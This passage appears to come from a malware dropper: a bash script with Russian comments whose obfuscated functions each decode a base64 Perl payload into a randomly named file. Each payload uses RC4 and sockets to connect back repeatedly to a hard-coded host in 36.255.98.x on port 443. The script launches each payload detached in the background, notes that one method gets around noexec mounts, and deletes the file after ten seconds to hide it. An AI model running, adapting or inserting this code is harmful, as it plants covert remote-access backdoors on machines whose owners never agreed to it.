gkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_253b2eeb() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc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KCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_101f2449() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2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MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_2d39b717() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2t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V4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_76cec7c3() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9I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AwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_a49f1391() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwo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WQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlYXgsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_073842ee() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQ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vc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c43a6313() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHd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woKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_8eecfa67() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPS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d2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_e21fc450() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNT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7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_93663bdd() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
